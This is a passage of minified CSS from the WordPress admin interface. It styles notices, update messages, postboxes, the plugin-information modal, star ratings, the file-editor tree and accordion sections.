transparent}.notice-dismiss:focus:before{color:#1e1e1e}.notice-success,div.updated{border-left-color:#4ab866;background-color:#eff9f1}.notice-success.notice-alt,div.updated.notice-alt{background-color:#eff9f1}.notice-warning{border-left-color:#f0b849;background-color:#fef8ee}.notice-warning.notice-alt{background-color:#fef8ee}.notice-error,div.error{border-left-color:#cc1818;background-color:#fcf0f0}.notice-error.notice-alt,div.error.notice-alt{background-color:#fcf0f0}.notice-info{border-left-color:#3858e9;background-color:#fff}.notice-info.notice-alt{background-color:#fff}#plugin-information-footer .update-now:not(.button-disabled):before{color:#d63638;content:"\f463";content:"\f463"/'';display:inline-block;font:normal 20px/1 dashicons;margin:-3px 5px 0 -2px;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:middle}#plugin-information-footer .notice{margin-top:-5px}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updated-message p:before,.updating-message p:before{display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;vertical-align:top}.media-upload-form .notice,.media-upload-form div.error,.wrap .notice,.wrap div.error,.wrap div.updated{margin:5px 0 15px}.wrap #templateside .notice{display:block;margin:0;padding:5px 8px;font-weight:600;text-decoration:none}.wrap #templateside span.notice{margin-left:-12px}#templateside li.notice a{padding:0}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.update-message p:before,.updating-message p:before{color:#d63638;content:"\f463";content:"\f463"/''}.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:rotation 2s infinite linear}@media (prefers-reduced-motion:reduce){.button.activating-message:before,.button.installing:before,.button.updating-message:before,.import-php .updating-message:before,.plugins .column-auto-updates .dashicons-update.spin,.theme-overlay .theme-autoupdate .dashicons-update.spin,.updating-message p:before{animation:none}}.theme-overlay .theme-autoupdate .dashicons-update.spin{margin-right:3px}.button.activated-message:before,.button.updated-message:before,.installed p:before,.updated-message p:before{color:#68de7c;content:"\f147";content:"\f147"/''}.update-message.notice-error p:before{color:#d63638;content:"\f534";content:"\f534"/''}.import-php .updating-message:before,.wrap .notice p:before{margin-right:6px}.import-php .updating-message:before{vertical-align:bottom}#update-nag,.update-nag{display:inline-block;line-height:1.4;padding:11px 15px;font-size:14px;margin:25px 20px 0 2px}ul#dismissed-updates{display:none}#dismissed-updates li>p{margin-top:0}#dismiss,#undismiss{margin-left:.5em}form.upgrade{margin-top:8px}form.upgrade .hint{font-style:italic;font-size:85%;margin:-.5em 0 2em}.update-php .spinner{float:none;margin:-4px 0}h2.wp-current-version{margin-bottom:.3em}p.update-last-checked{margin-top:0}p.auto-update-status{margin-top:2em;line-height:1.8}#ajax-loading,.ajax-feedback,.ajax-loading,.imgedit-wait-spin,.list-ajax-loading{visibility:hidden}#ajax-response.alignleft{margin-left:2em}.button.activated-message:before,.button.activating-message:before,.button.installed:before,.button.installing:before,.button.updated-message:before,.button.updating-message:before{margin:0 5px 0 -2px;line-height:1.9;vertical-align:top}#plugin-information-footer .button{padding:0 14px;line-height:2.71428571;font-size:14px;vertical-align:middle;min-height:40px;margin-bottom:4px}#plugin-information-footer .button.activated-message:before,#plugin-information-footer .button.activating-message:before,#plugin-information-footer .button.installed:before,#plugin-information-footer .button.installing:before,#plugin-information-footer .button.updated-message:before,#plugin-information-footer .button.updating-message:before{margin:0 5px 0 -2px;line-height:1.9;vertical-align:top}#plugin-information-footer .button.update-now.updating-message:before{margin:0 5px 0 -2px}.button-primary.activating-message:before,.button-primary.updating-message:before{color:#fff}.button-primary.activated-message:before,.button-primary.updated-message:before{color:#9ec2e6}.button.activated-message,.button.updated-message{transition-property:border,background,color;transition-duration:.05s;transition-timing-function:ease-in-out}#adminmenu a,#catlist a,#taglist a{text-decoration:none}#contextual-help-wrap,#screen-options-wrap{margin:0;padding:8px 20px 12px;position:relative}#contextual-help-wrap{overflow:auto;margin-left:0}#screen-meta-links{float:right;margin:0 20px 0 0}#screen-meta{display:none;margin:0 20px -1px 0;position:relative;background-color:#fff;border:1px solid #c3c4c7;border-top:none;box-shadow:0 0 0 transparent}#contextual-help-link-wrap,#screen-options-link-wrap{float:left;margin:0 0 0 6px}#screen-meta-links .screen-meta-toggle{position:relative;top:0}#screen-meta-links .show-settings{border:1px solid #c3c4c7;border-top:none;height:auto;margin-bottom:0;padding:0 6px 0 16px;background:#fff;border-radius:0 0 4px 4px;color:#646970;box-shadow:0 0 0 transparent;transition:box-shadow .1s linear}#screen-meta-links .show-settings:active,#screen-meta-links .show-settings:focus,#screen-meta-links .show-settings:hover{color:#2c3338}#screen-meta-links .show-settings:focus{border-color:var(--wp-admin-theme-color,#3858e9);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#screen-meta-links .show-settings:active{transform:none}#screen-meta-links .show-settings:after{right:0;content:"\f140";content:"\f140"/'';font:normal 20px/1.5 dashicons;display:inline-block;padding:0 5px 0 0;vertical-align:top;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}#screen-meta-links .screen-meta-active:after{content:"\f142";content:"\f142"/''}.toggle-arrow{background-repeat:no-repeat;background-position:top left;background-color:transparent;height:22px;line-height:22px;display:block}.toggle-arrow-active{background-position:bottom left}#contextual-help-wrap h5,#screen-options-wrap h5,#screen-options-wrap legend{margin:0;padding:8px 0;font-size:13px;font-weight:600}.metabox-prefs label{display:inline-block;padding-right:15px;line-height:2.35}#number-of-columns{display:inline-block;vertical-align:middle;line-height:30px}.metabox-prefs input[type=checkbox]{margin-top:0;margin-right:6px}.metabox-prefs label input,.metabox-prefs label input[type=checkbox]{margin:-4px 5px 0 0}.metabox-prefs .columns-prefs label input{margin:-1px 2px 0 0}.metabox-prefs label a{display:none}.metabox-prefs .screen-options input,.metabox-prefs .screen-options label{margin-top:0;margin-bottom:0;vertical-align:middle}.metabox-prefs .screen-options .screen-per-page{margin-right:15px;padding-right:0}.metabox-prefs .screen-options label{line-height:2.2;padding-right:0}.screen-options+.screen-options{margin-top:10px}.metabox-prefs .submit{margin-top:1em;padding:0}#contextual-help-wrap{padding:0}#contextual-help-columns{position:relative}#contextual-help-back{position:absolute;top:0;bottom:0;left:150px;right:170px;border:1px solid #c3c4c7;border-top:none;border-bottom:none;background:rgba(var(--wp-admin-theme-color--rgb),.08)}#contextual-help-wrap.no-sidebar #contextual-help-back{right:0;border-right-width:0;border-bottom-right-radius:2px}.contextual-help-tabs{float:left;width:150px;margin:0}.contextual-help-tabs ul{margin:1em 0}.contextual-help-tabs li{margin-bottom:0;list-style-type:none;border-style:solid;border-width:0 0 0 2px;border-color:transparent}.contextual-help-tabs a{display:block;padding:5px 5px 5px 12px;line-height:1.4;text-decoration:none;border:1px solid transparent;border-right:none;border-left:none}.contextual-help-tabs a:hover{color:#2c3338}.contextual-help-tabs .active{padding:0;margin:0 -1px 0 0;border-left:2px solid var(--wp-admin-theme-color);background:color-mix(in srgb,var(--wp-admin-theme-color) 8%,#fff);box-shadow:0 2px 0 rgba(0,0,0,.02),0 1px 0 rgba(0,0,0,.02)}.contextual-help-tabs .active a{border-color:#c3c4c7;color:#2c3338}.contextual-help-tabs-wrap{padding:0 20px;overflow:auto}.help-tab-content{display:none;margin:0 22px 12px 0;line-height:1.6}.help-tab-content.active{display:block}.help-tab-content ul li{list-style-type:disc;margin-left:18px}.contextual-help-sidebar{width:150px;float:right;padding:0 8px 0 12px;overflow:auto}html.wp-toolbar{padding-top:var(--wp-admin--admin-bar--height);box-sizing:border-box;-ms-overflow-style:scrollbar}.widefat td,.widefat th{color:#50575e}.widefat tfoot td,.widefat th,.widefat thead td{font-weight:400}.widefat tfoot tr td,.widefat tfoot tr th,.widefat thead tr td,.widefat thead tr th{color:#2c3338}.widefat td p{margin:2px 0 .8em}.widefat ol,.widefat p,.widefat ul{color:#2c3338}.widefat .column-comment p{margin:.6em 0}.widefat .column-comment ul{list-style:initial;margin-left:2em}.postbox-container{float:left}.postbox-container .meta-box-sortables{box-sizing:border-box}#wpbody-content .metabox-holder{padding-top:10px}.metabox-holder .postbox-container .meta-box-sortables{min-height:1px;position:relative}#post-body-content{width:100%;min-width:463px;float:left}#post-body.columns-2 #postbox-container-1{float:right;margin-right:-300px;width:280px}#post-body.columns-2 #side-sortables{min-height:250px}@media only screen and (max-width:799px){#wpbody-content .metabox-holder .postbox-container .empty-container{outline:0;height:0;min-height:0}}.js .postbox .hndle,.js .widget .widget-top{cursor:move}.js .postbox .hndle.is-non-sortable,.js .widget .widget-top.is-non-sortable{cursor:auto}.hndle a{font-size:12px;font-weight:400}.postbox-header{display:flex;align-items:center;justify-content:space-between;border-bottom:1px solid #c3c4c7}.postbox-header .hndle{flex-grow:1;display:flex;justify-content:space-between;align-items:center}.postbox-header .handle-actions{flex-shrink:0}.postbox .handle-order-higher,.postbox .handle-order-lower,.postbox .handlediv{width:1.62rem;height:1.62rem;margin:0;padding:0;border:0;background:0 0;cursor:pointer}.postbox .handle-order-higher,.postbox .handle-order-lower{color:#646970;width:1.62rem}.edit-post-meta-boxes-area .postbox .handle-order-higher,.edit-post-meta-boxes-area .postbox .handle-order-lower{width:44px;height:44px;color:#1d2327}.postbox .handle-order-higher[aria-disabled=true],.postbox .handle-order-lower[aria-disabled=true]{cursor:default;color:#a7aaad}.sortable-placeholder:not(.empty-container .sortable-placeholder){border:1px dashed #c3c4c7;border-radius:8px;margin-bottom:20px}.postbox,.stuffbox{margin-bottom:20px;padding:0;line-height:1}.postbox.closed .postbox-header{border-bottom:0}.postbox .hndle,.stuffbox .hndle{-webkit-user-select:none;user-select:none}.postbox .inside{padding:0 12px 12px;line-height:1.4;font-size:13px}.stuffbox .inside{padding:0;line-height:1.4;font-size:13px;margin-top:0}.postbox .inside{margin:11px 0;position:relative}.postbox .inside>p:last-child,.rss-widget ul li:last-child{margin-bottom:1px!important}.postbox.closed h3{border:none;box-shadow:none}.postbox table.form-table{margin-bottom:0}.postbox table.widefat{box-shadow:none}.temp-border{border:1px dotted #c3c4c7}.columns-prefs label{padding:0 10px 0 0}#adminmenu .wp-submenu li.current,#adminmenu .wp-submenu li.current a,#adminmenu .wp-submenu li.current a:hover,#comment-status-display,#dashboard_right_now .versions .b,#ed_reply_toolbar #ed_reply_strong,#pass-strength-result.short,#pass-strength-result.strong,#post-status-display,#post-visibility-display,.feature-filter .feature-name,.item-controls .item-order a,.media-item .percent,.plugins .name{font-weight:600}#wpfooter{position:absolute;bottom:0;left:0;right:0;padding:10px 20px;color:#50575e}#wpfooter p{font-size:13px;margin:0;line-height:1.55}#footer-thankyou{font-style:italic}.nav-tab{float:left;border:1px solid #c3c4c7;border-bottom:none;margin-left:.5em;padding:5px 10px;font-size:14px;line-height:1.71428571;font-weight:600;background:#dcdcde;color:#50575e;text-decoration:none;white-space:nowrap}.nav-tab-small .nav-tab,h3 .nav-tab{padding:5px 14px;font-size:12px;line-height:1.33}.nav-tab:focus,.nav-tab:hover{background-color:#fff;color:#3c434a}.nav-tab-active,.nav-tab:focus:active{box-shadow:none}.nav-tab-active{margin-bottom:-1px;color:#3c434a}.nav-tab-active,.nav-tab-active:focus,.nav-tab-active:focus:active,.nav-tab-active:hover{border-bottom:1px solid #f0f0f1;background:#f0f0f1;color:#000}.nav-tab-wrapper,.wrap h2.nav-tab-wrapper,h1.nav-tab-wrapper{border-bottom:1px solid #c3c4c7;margin:0;padding-top:9px;padding-bottom:0;line-height:inherit}.nav-tab-wrapper:not(.wp-clearfix):after{content:"";display:table;clear:both}.spinner{background:url(../images/spinner.gif) no-repeat;background-size:20px 20px;display:inline-block;visibility:hidden;float:right;vertical-align:middle;opacity:.7;width:20px;height:20px;margin:10px 10px 0}.loading-content .spinner,.spinner.is-active{visibility:visible}#template>div{margin-right:16em}#template .notice{margin-top:1em;margin-right:3%}#template .notice p{width:auto}#template .submit .spinner{float:none;vertical-align:top}.metabox-holder .postbox>h3,.metabox-holder .stuffbox>h3,.metabox-holder h2.hndle,.metabox-holder h3.hndle{font-size:14px;padding:8px 12px;margin:0;line-height:1.4}.nav-menus-php .metabox-holder h3{padding:0}.accordion-container h3.accordion-section-title{padding:0!important}.accordion-section-title button.accordion-trigger,.nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger{background:inherit;color:#1d2327;display:block;position:relative;text-align:left;width:100%;outline:0;border:0;padding:10px 10px 11px 14px;line-height:1.5;cursor:pointer}.accordion-section-title button.accordion-trigger:focus,.nav-menus-php .metabox-holder .accordion-section-title button.accordion-trigger:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.accordion-section-title span.dashicons.dashicons-arrow-down,.nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down{position:absolute;right:10px;left:auto;color:#787c82;border-radius:50px;top:50%;transform:translateY(-50%)}.accordion-section-title:hover span.dashicons.dashicons-arrow-down,.nav-menus-php .metabox-holder .accordion-section-title:hover span.dashicons.dashicons-arrow-down{color:#1d2327}.accordion-section-title span.dashicons.dashicons-arrow-down::before,.nav-menus-php .metabox-holder .accordion-section-title span.dashicons.dashicons-arrow-down::before{position:relative;left:-1px}.accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down,.nav-menus-php .metabox-holder .accordion-section.open .accordion-section-title span.dashicons.dashicons-arrow-down{transform:rotate(180deg) translate(0,50%)}#templateside ul li a{text-decoration:none}.plugin-install #description,.plugin-install-network #description{width:60%}table .column-rating,table .column-visible,table .vers{text-align:left}.attention,.error-message{color:#d63638;font-weight:600}body.iframe{height:98%}.lp-show-latest p{display:none}.lp-show-latest .lp-error p,.lp-show-latest p:last-child{display:block}.media-icon{width:62px;text-align:center}.media-icon img{border:1px solid #dcdcde;border:1px solid rgba(0,0,0,.07)}#howto{font-size:11px;margin:0 5px;display:block}.importers{font-size:16px;width:auto}.importers td{padding-right:14px;line-height:1.4}.importers .import-system{max-width:250px}.importers td.desc{max-width:500px}.importer-action,.importer-desc,.importer-title{display:block}.importer-title{color:#000;font-size:14px;font-weight:400;margin-bottom:.2em}.importer-action{line-height:1.55;color:#50575e;margin-bottom:1em}#post-body #post-body-content #namediv h2,#post-body #post-body-content #namediv h3{margin-top:0}.edit-comment-author{color:#1d2327;border-bottom:1px solid #f0f0f1}#namediv h2 label,#namediv h3 label{vertical-align:baseline}#namediv table{width:100%}#namediv td.first{width:10px;white-space:nowrap}#namediv input{width:100%}#namediv p{margin:10px 0}.zerosize{height:0;width:0;margin:0;border:0;padding:0;overflow:hidden;position:absolute}br.clear{height:2px;line-height:.15}.checkbox{border:none;margin:0;padding:0}fieldset{border:0;padding:0;margin:0}.post-categories{display:inline;margin:0;padding:0}.post-categories li{display:inline}div.star-holder{position:relative;height:17px;width:100px;background:url(../images/stars.png?ver=20121108) repeat-x bottom left}div.star-holder .star-rating{background:url(../images/stars.png?ver=20121108) repeat-x top left;height:17px;float:left}.star-rating{white-space:nowrap}.star-rating .star{display:inline-block;width:20px;height:20px;-webkit-font-smoothing:antialiased;font-size:20px;line-height:1;font-family:dashicons;text-decoration:inherit;font-weight:400;font-style:normal;vertical-align:top;transition:color .1s ease-in;text-align:center;color:#dba617}.star-rating .star-full:before{content:"\f155";content:"\f155"/''}.star-rating .star-half:before{content:"\f459";content:"\f459"/''}.rtl .star-rating .star-half{transform:rotateY(180deg)}.star-rating .star-empty:before{content:"\f154";content:"\f154"/''}div.action-links{font-weight:400;margin:6px 0 0}#plugin-information{background:#fff;position:fixed;top:0;right:0;bottom:0;left:0;height:100%;padding:0}#plugin-information-scrollable{overflow:auto;-webkit-overflow-scrolling:touch;height:100%}#plugin-information-title{padding:0 26px;background:#f6f7f7;font-size:22px;font-weight:600;line-height:2.4;position:relative;height:56px}#plugin-information-title.with-banner{margin-right:0;height:250px;background-size:cover}#plugin-information-title h2{font-size:1em;font-weight:600;padding:0;margin:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}#plugin-information-title.with-banner h2{position:relative;font-family:"Helvetica Neue",sans-serif;display:inline-block;font-size:30px;line-height:1.68;box-sizing:border-box;max-width:100%;padding:0 15px;margin-top:174px;color:#fff;background:rgba(29,35,39,.9);text-shadow:0 1px 3px rgba(0,0,0,.4);box-shadow:0 0 30px rgba(255,255,255,.1);border-radius:8px}#plugin-information-title div.vignette{display:none}#plugin-information-title.with-banner div.vignette{position:absolute;display:block;top:0;left:0;height:250px;width:100%;background:0 0;box-shadow:inset 0 0 50px 4px rgba(0,0,0,.2),inset 0 -1px 0 rgba(0,0,0,.1)}#plugin-information-tabs{padding:0 16px;position:relative;right:0;left:0;min-height:36px;font-size:0;z-index:1;border-bottom:1px solid #dcdcde;background:#f6f7f7}#plugin-information-tabs a{position:relative;display:inline-block;padding:9px 10px;margin:0;height:18px;line-height:1.3;font-size:14px;text-decoration:none;transition:none}#plugin-information-tabs a.current{margin:0 -1px -1px;background:#fff;border:1px solid #dcdcde;border-bottom-color:#fff;padding-top:8px;color:#2c3338}#plugin-information-tabs.with-banner a.current{border-top:none;padding-top:9px}#plugin-information-tabs a:active,#plugin-information-tabs a:focus{outline:0}#plugin-information-content{overflow:hidden;background:#fff;position:relative;top:0;right:0;left:0;min-height:100%;min-height:calc(100% - 152px)}#plugin-information-content.with-banner{min-height:calc(100% - 346px)}#section-holder{position:relative;top:0;right:250px;bottom:0;left:0;margin-top:10px;margin-right:250px;padding:10px 26px 99999px;margin-bottom:-99932px}#section-holder .notice{margin:5px 0 15px}#section-holder .updated{margin:16px 0}#plugin-information .fyi{float:right;position:relative;top:0;right:0;padding:16px 16px 99999px;margin-bottom:-99932px;width:217px;border-left:1px solid #dcdcde;background:#f6f7f7;color:#646970}#plugin-information .fyi strong{color:#3c434a}#plugin-information .fyi h3{font-weight:600;text-transform:uppercase;font-size:12px;color:#646970;margin:24px 0 8px}#plugin-information .fyi h2{font-size:.9em;margin-bottom:0;margin-right:0}#plugin-information .fyi ul{padding:0;margin:0;list-style:none}#plugin-information .fyi li{margin:0 0 10px}#plugin-information .fyi-description{margin-top:0}#plugin-information .counter-container{margin:3px 0}#plugin-information .counter-label{float:left;margin-right:5px;min-width:55px}#plugin-information .counter-back{height:17px;width:92px;background-color:#dcdcde;float:left}#plugin-information .counter-bar{height:17px;background-color:#f0c33c;float:left}#plugin-information .counter-count{margin-left:5px}#plugin-information .fyi ul.contributors{margin-top:10px}#plugin-information .fyi ul.contributors li{display:inline-block;margin-right:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li{display:inline-block;margin-right:8px;vertical-align:middle}#plugin-information .fyi ul.contributors li img{vertical-align:middle;margin-right:4px}#plugin-information-footer{padding:13px 16px;position:absolute;right:0;bottom:0;left:0;height:40px;border-top:1px solid #dcdcde;background:#f6f7f7}#plugin-information .section{direction:ltr}#plugin-information .section ol,#plugin-information .section ul{list-style-type:disc;margin-left:24px}#plugin-information .section,#plugin-information .section p{font-size:14px;line-height:1.7}#plugin-information #section-screenshots ol{list-style:none;margin:0}#plugin-information #section-screenshots li img{vertical-align:text-top;margin-top:16px;max-width:100%;width:auto;height:auto;box-shadow:0 1px 2px rgba(0,0,0,.3)}#plugin-information #section-screenshots li p{font-style:italic;padding-left:20px}#plugin-information pre{padding:7px;overflow:auto;border:1px solid #c3c4c7}#plugin-information blockquote{border-left:2px solid #dcdcde;color:#646970;font-style:italic;margin:1em 0;padding:0 0 0 1em}#plugin-information .review{overflow:hidden;width:100%;margin-bottom:20px;border-bottom:1px solid #dcdcde}#plugin-information .review-title-section{overflow:hidden}#plugin-information .review-title-section h4{display:inline-block;float:left;margin:0 6px 0 0}#plugin-information .reviewer-info p{clear:both;margin:0;padding-top:2px}#plugin-information .reviewer-info .avatar{float:left;margin:4px 6px 0 0}#plugin-information .reviewer-info .star-rating{float:left}#plugin-information .review-meta{float:left;margin-left:.75em}#plugin-information .review-body{float:left;width:100%}.plugin-version-author-uri{font-size:13px}.update-php .button.button-primary{margin-right:1em}@media screen and (max-width:771px){#plugin-information-title.with-banner{height:100px}#plugin-information-title.with-banner h2{margin-top:30px;font-size:20px;line-height:2;max-width:85%}#plugin-information-title.with-banner div.vignette{height:100px}#plugin-information-tabs{overflow:hidden;padding:0;height:auto}#plugin-information-tabs a.current{margin-bottom:0;border-bottom:none}#plugin-information .fyi{float:none;border:1px solid #dcdcde;position:static;width:auto;margin:26px 26px 0;padding-bottom:0}#section-holder{position:static;margin:0;padding-bottom:70px}#plugin-information .fyi h3,#plugin-information .fyi small{display:none}#plugin-information-footer{padding:12px 16px 0;height:46px}}#TB_window.plugin-details-modal{background:#fff}#TB_window.plugin-details-modal.thickbox-loading:before{content:"";display:block;width:20px;height:20px;position:absolute;left:50%;top:50%;z-index:-1;margin:-10px 0 0 -10px;background:#fff url(../images/spinner.gif) no-repeat center;background-size:20px 20px;transform:translateZ(0)}@media print,(min-resolution:120dpi){#TB_window.plugin-details-modal.thickbox-loading:before{background-image:url(../images/spinner-2x.gif)}}.plugin-details-modal #TB_title{float:left;height:1px}.plugin-details-modal #TB_ajaxWindowTitle{display:none}.plugin-details-modal #TB_closeWindowButton{left:auto;right:-30px;color:#f0f0f1}.plugin-details-modal #TB_closeWindowButton:focus,.plugin-details-modal #TB_closeWindowButton:hover{outline:0;box-shadow:none}.plugin-details-modal #TB_closeWindowButton:focus::after,.plugin-details-modal #TB_closeWindowButton:hover::after{outline:2px solid;outline-offset:-4px;border-radius:4px}.plugin-details-modal .tb-close-icon{display:none}.plugin-details-modal #TB_closeWindowButton:after{content:"\f335";content:"\f335"/'';font:normal 32px/29px dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}@media screen and (max-width:830px){.plugin-details-modal #TB_closeWindowButton{right:0;top:-30px}}img{border:none}.bulk-action-notice .toggle-indicator::before,.meta-box-sortables .postbox .order-higher-indicator::before,.meta-box-sortables .postbox .order-lower-indicator::before,.meta-box-sortables .postbox .toggle-indicator::before,.privacy-text-box .toggle-indicator::before,.sidebar-name .toggle-indicator::before{content:"\f142";content:"\f142"/'';display:inline-block;font:normal 20px/1 dashicons;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.bulk-action-notice .bulk-action-errors-collapsed .toggle-indicator::before,.js .widgets-holder-wrap.closed .toggle-indicator::before,.meta-box-sortables .postbox.closed .handlediv .toggle-indicator::before,.privacy-text-box.closed .toggle-indicator::before{content:"\f140";content:"\f140"/''}.postbox .handle-order-higher .order-higher-indicator::before{content:"\f343";content:"\f343"/'';color:inherit}.postbox .handle-order-lower .order-lower-indicator::before{content:"\f347";content:"\f347"/'';color:inherit}.postbox .handle-order-higher .order-higher-indicator::before,.postbox .handle-order-lower .order-lower-indicator::before{position:relative;top:.11rem;width:20px;height:20px}.postbox .handlediv .toggle-indicator::before{width:20px;border-radius:50%}.postbox .handlediv .toggle-indicator::before{position:relative;top:.05rem;text-indent:-1px}.rtl .postbox .handlediv .toggle-indicator::before{text-indent:1px}.bulk-action-notice .toggle-indicator::before{line-height:16px;vertical-align:top;color:#787c82}.postbox .handle-order-higher:focus,.postbox .handle-order-lower:focus,.postbox .handlediv:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);border-radius:50%;outline:2px solid transparent}.postbox .handle-order-higher:focus .order-higher-indicator::before,.postbox .handle-order-lower:focus .order-lower-indicator::before,.postbox .handlediv:focus .toggle-indicator::before{box-shadow:none;outline:1px solid transparent}#photo-add-url-div input[type=text]{width:300px}.alignleft h2{margin:0}#template textarea{font-family:Consolas,Monaco,monospace;font-size:13px;background:#f6f7f7;tab-size:4}#template .CodeMirror,#template textarea{width:100%;min-height:60vh;height:calc(100vh - 295px);border:1px solid #dcdcde;box-sizing:border-box}#templateside>h2{padding-top:6px;padding-bottom:7px;margin:0}#templateside ol,#templateside ul{margin:0;padding:0}#templateside>ul{box-sizing:border-box;margin-top:0;overflow:auto;padding:0;min-height:60vh;height:calc(100vh - 295px);background-color:#f6f7f7;border:1px solid #dcdcde;border-left:none}#templateside ul ul{padding-left:12px}#templateside>ul>li>ul[role=group]{padding-left:0}[role=treeitem][aria-expanded=false]>ul{display:none}[role=treeitem] span[aria-hidden]{display:inline;font-family:dashicons;font-size:20px;position:absolute;pointer-events:none}[role=treeitem][aria-expanded=false]>.folder-label .icon:after{content:"\f139";content:"\f139"/''}[role=treeitem][aria-expanded=true]>.folder-label .icon:after{content:"\f140";content:"\f140"/''}[role=treeitem] .folder-label{display:block;padding:3px 3px 3px 12px;cursor:pointer}[role=treeitem]{outline:0}[role=treeitem] .folder-label.focus,[role=treeitem] a:focus{color:#043959;box-shadow:none;outline:2px solid var(--wp-admin-theme-color,#3858e9);outline-offset:-2px}[role=treeitem] .folder-label.hover,[role=treeitem].hover{background-color:#f0f0f1}.tree-folder{margin:0;position:relative}[role=treeitem] li{position:relative}.tree-folder .tree-folder::after{content:"";display:block;position:absolute;left:2px;border-left:1px solid #c3c4c7;top:-13px;bottom:10px}.tree-folder>li::before{content:"";position:absolute;display:block;border-left:1px solid #c3c4c7;left:2px;top:-5px;height:18px;width:7px;border-bottom:1px solid #c3c4c7}.tree-folder>li::after{content:"";position:absolute;display:block;border-left:1px solid #c3c4c7;left:2px;bottom:-7px;top:0}#templateside .current-file{margin:-4px 0 -2px}.tree-folder>.current-file::before{left:4px;height:15px;width:0;border-left:none;top:3px}.tree-folder>.current-file::after{bottom:-4px;height:7px;left:2px;top:auto}.tree-folder li:last-child>.tree-folder::after,.tree-folder>li:last-child::after{display:none}#documentation label,#theme-plugin-editor-label,#theme-plugin-editor-selector{font-weight:600}#theme-plugin-editor-label{display:inline-block;margin-bottom:1em}#docs-list,#template textarea{direction:ltr}.fileedit-sub #plugin,.fileedit-sub #theme{max-width:40%}.fileedit-sub .alignright{text-align:right}#template p{width:97%}#file-editor-linting-error{margin-top:1em;margin-bottom:1em}#file-editor-linting-error>.notice{margin:0;display:inline-block}#file-editor-linting-error>.notice>p{width:auto}#template .submit{margin-top:1em;padding:0}#template .submit input[type=submit][disabled]{cursor:not-allowed}#templateside{float:right;width:16em;word-wrap:break-word}#postcustomstuff p.submit{margin:0}#templateside h4{margin:1em 0 0}#templateside li{margin:4px 0}#templateside li:not(.howto) a,.theme-editor-php .highlight{display:block;padding:3px 0 3px 12px;text-decoration:none}#templateside li.current-file>a{padding-bottom:0}#templateside li:not(.howto)>a:first-of-type{padding-top:0}#templateside li.howto{padding:6px 12px 12px}.theme-editor-php .highlight{margin:-3px 3px -3px -12px}#templateside .highlight{border:none;font-weight:600}.nonessential{color:#646970;font-size:11px;font-style:italic;padding-left:12px}#documentation{margin-top:10px}#documentation label{line-height:1.8;vertical-align:baseline}.fileedit-sub{padding:10px 0 8px;line-height:180%}#file-editor-warning .file-editor-warning-content{margin:25px}.nav-menus-php .item-edit:before,.widget-top .widget-action .toggle-indicator:before,.wp-customizer .accordion-section-title:after,.wp-customizer .control-section .accordion-section-title:after{content:"\f140";content:"\f140"/'';font:normal 20px/1 dashicons;display:block;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-decoration:none}.widget-top .widget-action .toggle-indicator:before{padding:1px 2px 1px 0;border-radius:50%}.handlediv,.item-edit,.postbox .handlediv.button-link,.toggle-indicator{color:#646970}.widget-action{color:#50575e}.handlediv:focus,.handlediv:hover,.item-edit:focus,.item-edit:hover,.postbox .handlediv.button-link:focus,.postbox .handlediv.button-link:hover,.sidebar-name:hover .toggle-indicator,.widget-action:focus,.widget-top:hover .widget-action{color:#1d2327;outline:2px solid transparent}.widget-top .widget-action:focus .toggle-indicator:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}#customize-info.open .accordion-section-title:after,.nav-menus-php .menu-item-edit-active .item-edit:before,.widget.open .widget-top .widget-action .toggle-indicator:before,.widget.widget-in-question .widget-top .widget-action .toggle-indicator:before{content:"\f142";content:"\f142"/''}/*! * jQuery UI Draggable/Sortable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */.ui-draggable-handle,.ui-sortable-handle{touch-action:none}.accordion-section{border-bottom:1px solid #dcdcde;margin:0}.accordion-section.open .accordion-section-content,.no-js .accordion-section .accordion-section-content{display:block}.accordion-section.open:hover{border-bottom-color:#dcdcde}.accordion-section-content{display:none;padding:10px 20px 15px;overflow:hidden;background:#fff}.accordion-section-title{margin:0;position:relative;border-left:1px solid #dcdcde;border-right:1px solid #dcdcde;-webkit-user-select:none;user-select:none}.js .accordion-section-title{cursor:pointer}.js .accordion-section-title:after{position:absolute;top:12px;right:10px;z-index:1}.accordion-section-title:focus{outline:1px solid transparent}.accordion-section-title:focus:after,.accordion-section-title:hover:after{border-color:#a7aaad transparent;outline:1px solid transparent}.cannot-expand .accordion-section-title{cursor:auto}.cannot-expand .accordion-section-title:after{display:none}.control-section .accordion-section-title,.customize-pane-child .accordion-section-title{border-left:none;border-right:none;padding:10px 10px 11px 14px;line-height:1.55;background:#fff}.control-section .accordion-section-title:after,.customize-pane-child .accordion-section-title:after{top:calc(50% - 10px)}.js .control-section .accordion-section-title:focus,.js .control-section .accordion-section-title:hover,.js .control-section.open .accordion-section-title,.js .control-section:hover .accordion-section-title{color:#1d2327;background:#f6f7f7}.control-section.open .accordion-section-title{border-bottom:1px solid #dcdcde}.network-admin 